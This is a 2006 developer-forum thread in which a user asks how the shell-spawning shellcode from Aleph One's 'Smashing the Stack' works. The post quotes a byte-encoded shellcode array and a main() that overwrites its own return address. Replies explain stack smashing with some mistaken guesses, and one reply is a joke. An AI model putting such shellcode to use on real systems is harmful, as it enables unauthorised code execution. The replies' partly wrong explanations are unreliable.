473,387 Members | 1,540 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,387 software developers and data experts.

How this code works n

Can anyone explain how this shell spawning code works......
I am not able to figure out exactly..... I got this from Aleph1's
Smashing the stack file. :)

Here it is
================================================== ================

testsc.c
------------------------------------------------------------------------------
char shellcode[] =

"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\ x0c\x00\x00\x00"

"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\ x56\x0c\xcd\x80"

"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\ xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\ xc3";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}

May 18 '06 #1
4 2159

sgurmin...@gmail.com wrote:
Can anyone explain how this shell spawning code works......
Not really, as it invokes Undefined Behaviour at the very start.

Also, why? It's abominable.
I am not able to figure out exactly..... I got this from Aleph1's
Smashing the stack file. :)

Here it is
================================================== ================

testsc.c
------------------------------------------------------------------------------
char shellcode[] =

"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\ x0c\x00\x00\x00"

"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\ x56\x0c\xcd\x80"

"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\ xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\ xc3";

void main() {
Undefined Behaviour. BANG!
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}


May 18 '06 #2
sg********@gmail.com wrote:
Can anyone explain how this shell spawning code works......
I am not able to figure out exactly..... I got this from Aleph1's
Smashing the stack file. :)
As you will no doubt be told by many, this is pretty much off-topic
here. Follow-ups set.
Here it is
================================================== ================
testsc.c
------------------------------------------------------------------------------
char shellcode[] =

"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\ x0c\x00\x00\x00"

"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\ x56\x0c\xcd\x80"

"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\ xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\ xc3";
This creates an array of bytes that I presume is intended to represent
executable code of some nature. This is, no doubt, highly platform and
architecture dependant. Some of the bytes are no-ops to position the
rest of the bytes just so. Others probably represent unconditional
jumps to some other place.
void main() { If you are trying to black-hat hack, I guess no one cares if you aren't
ISO standard. Check the prototype for main() to be sure.
int *ret; Declares an int. The address of this int will be in process memory.
Smart hackers have a pretty good idea where this memory is in relation
to other process memory, like the data and text segments (on
architectures where this nomenclature makes sense).

ret = (int *)&ret + 2; This assumes an int is 2 bytes, I guess. This makes the int pointer ret
point to 2 bytes passed what has been allocated for ret in the first
place. Typically, auto variables like this are maintained on the stack,
and adding to this location often yields a smaller address. At any rate
the hope is ret has been incremented past what the runtime code has
allocated for a single int and into the part of the process memory that
holds executable code.
(*ret) = (int)shellcode; This stores the bytes (encoded as hex bytes, above) into the new
location which we hope is beyond the end of the stack. A part of the
data runs into process memory that can run code. Often the intent is to
simply have it invoke the equivalent of the exec() library call. This
allows one to exec() any sort of thing they would like over the current
process, like a shell.

}


I'm no hacker, so the preceding was my poor understanding of classic
stack smashing. Hence my violent hand-waving.

I'll float the idea that this is *somewhat* on-topic given that on most
platforms C is the language of choice because, well, you are allowed to
do stuff like walk off the end of a pointer (this is not a criticism,
but merely an observation). Plus, I find it sort of interesting,
especially in light of how some platforms have countered this naive (but
so useful) way of leveraging process memory.

As you can see, much of this depends on highly non-portable assumptions
and specific platform, architecture and compiler knowledge. This is why
"rootkits" tend to be so customized for specific targets.
May 18 '06 #3
sg********@gmail.com wrote:
Can anyone explain how this shell spawning code works......
I am not able to figure out exactly..... I got this from Aleph1's
Smashing the stack file. :)

Here it is
================================================== ================

testsc.c
------------------------------------------------------------------------------
char shellcode[] =

"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\ x0c\x00\x00\x00"

"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\ x56\x0c\xcd\x80"

"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\ xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\ xc3";

void main() {
int *ret; creates a pointer to an int on stack
ret = (int *)&ret + 2; takes the address of the ret local variable casts this as a int pointer
and performs pointer arithmetic. maybe assuming that an address is the
same size as an int this steps over the old frame pointer currently just
above the local variable on the stack and holds the address of the
instruction to return to after function completion (*ret) = (int)shellcode; writes over the real return instruction address(pointed to by ret) to
return after function completion and instead writes the address of
shellcode so the function returns and starts executing using the
shellcode array defined above.
}


Highly machine dependent and what I'm saying is speculation. The code
comments I've written above pertain to the x86 architecture with a
particular caller/callee save convention with a name that escapes me at
the moment, sorry. The shellcode written would possibly only work on one
particular type of processor. Slightly off topic but an interesting
question.
May 18 '06 #4
On Thu, 18 May 2006 09:37:04 UTC, sg********@gmail.com wrote:
Can anyone explain how this shell spawning code works......
I am not able to figure out exactly..... I got this from Aleph1's
Smashing the stack file. :)


It will speed up your CPU in the factor of 1 million and thereafter
format your hard disk to hold 100,000 times the number of bytes and
then install the most current Windows 2006 directly from Microsoft -
but only if you owns the hacked version of Windows XP SP3 installed
already. TIn any case it will read your outlook address book and email
the program to each fried, your colleauges and your boss to get them
Windows 2006 installed too.

--
Tschau/Bye
Herbert

Visit http://www.ecomstation.de the home of german eComStation
eComStation 1.2 Deutsch ist da!
May 19 '06 #5

This thread has been closed and replies have been disabled. Please start a new discussion.

Similar topics

5
by: Darren Grant | last post by:
Hi there, I've attempted to implement an Angle class. An Angle is a subset of an integer, where the range is [0,360). All other operations should be permitted. The code works, I think......
1
by: DiskMan | last post by:
System: Redhat 7.2 Kernel-2.6.11.8 GCC-3.4.3 CCC-6.5.9 Binutils-2.15 Make-3.80 GTK/GLIB-2.6.7 For some reason my Linux box is suddenly having issues trying to read ;
19
by: William Wisnieski | last post by:
Hello Everyone, I have a main form with a datasheet subform that I use to query by form. After the user selects two criteria on the main form and clicks the cmdShowResults button on the main...
192
by: Vortex Soft | last post by:
http://www.junglecreatures.com/ Try it and tell me what's happenning in the Microsoft Corporation. Notes: VB, C# are CLS compliant
6
by: Paolo Pignatelli | last post by:
I have an aspx code behind page that goes something like this in the HTML view: <asp:HyperLink id=HyperLink1 runat="server" NavigateUrl='<%#"mailto:" &amp;...
2
by: John | last post by:
I am having a weird error and maybe the synatax is different or something. I use a SQL Stored Proc and pass it one param and get a return to either a datareader or dataset. The code works fine for...
2
by: Enrique Bustamante | last post by:
Casting arrays that works on watch and command window but not in code. My application is casting arrays in a way it should work. To test if I was doing something invalid, I wrote a test code that...
1
by: Alex Clark | last post by:
Hi all, Apologies for the cross-post but I can't determine if this is a VS .NET problem or a VB.NET language issue. I'm using .NET 1.1 SP1, VS 2003 EA, VB.NET. I'm coding a custom component...
64
by: Bayazee | last post by:
hi can we hide a python code ? if i want to write a commercial software can i hide my source code from users access ? we can conver it to pyc but this file can decompiled ... so ...!! do you...
2
by: electroman | last post by:
Hello! I am having a very weird problem that I cant find any solution on the Internet (after so many years!). I am trying to code a C# program and I am using the WebBroswer control. The code is...
0
by: aa123db | last post by:
Variable and constants Use var or let for variables and const fror constants. Var foo ='bar'; Let foo ='bar';const baz ='bar'; Functions function $name$ ($parameters$) { } ...
0
by: ryjfgjl | last post by:
If we have dozens or hundreds of excel to import into the database, if we use the excel import function provided by database editors such as navicat, it will be extremely tedious and time-consuming...
0
by: ryjfgjl | last post by:
In our work, we often receive Excel tables with data in the same format. If we want to analyze these data, it can be difficult to analyze them because the data is spread across multiple Excel files...
1
by: Sonnysonu | last post by:
This is the data of csv file 1 2 3 1 2 3 1 2 3 1 2 3 2 3 2 3 3 the lengths should be different i have to store the data by column-wise with in the specific length. suppose the i have to...
0
by: Hystou | last post by:
There are some requirements for setting up RAID: 1. The motherboard and BIOS support RAID configuration. 2. The motherboard has 2 or more available SATA protocol SSD/HDD slots (including MSATA, M.2...
0
marktang
by: marktang | last post by:
ONU (Optical Network Unit) is one of the key components for providing high-speed Internet services. Its primary function is to act as an endpoint device located at the user's premises. However,...
0
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can...
0
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers,...
0
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.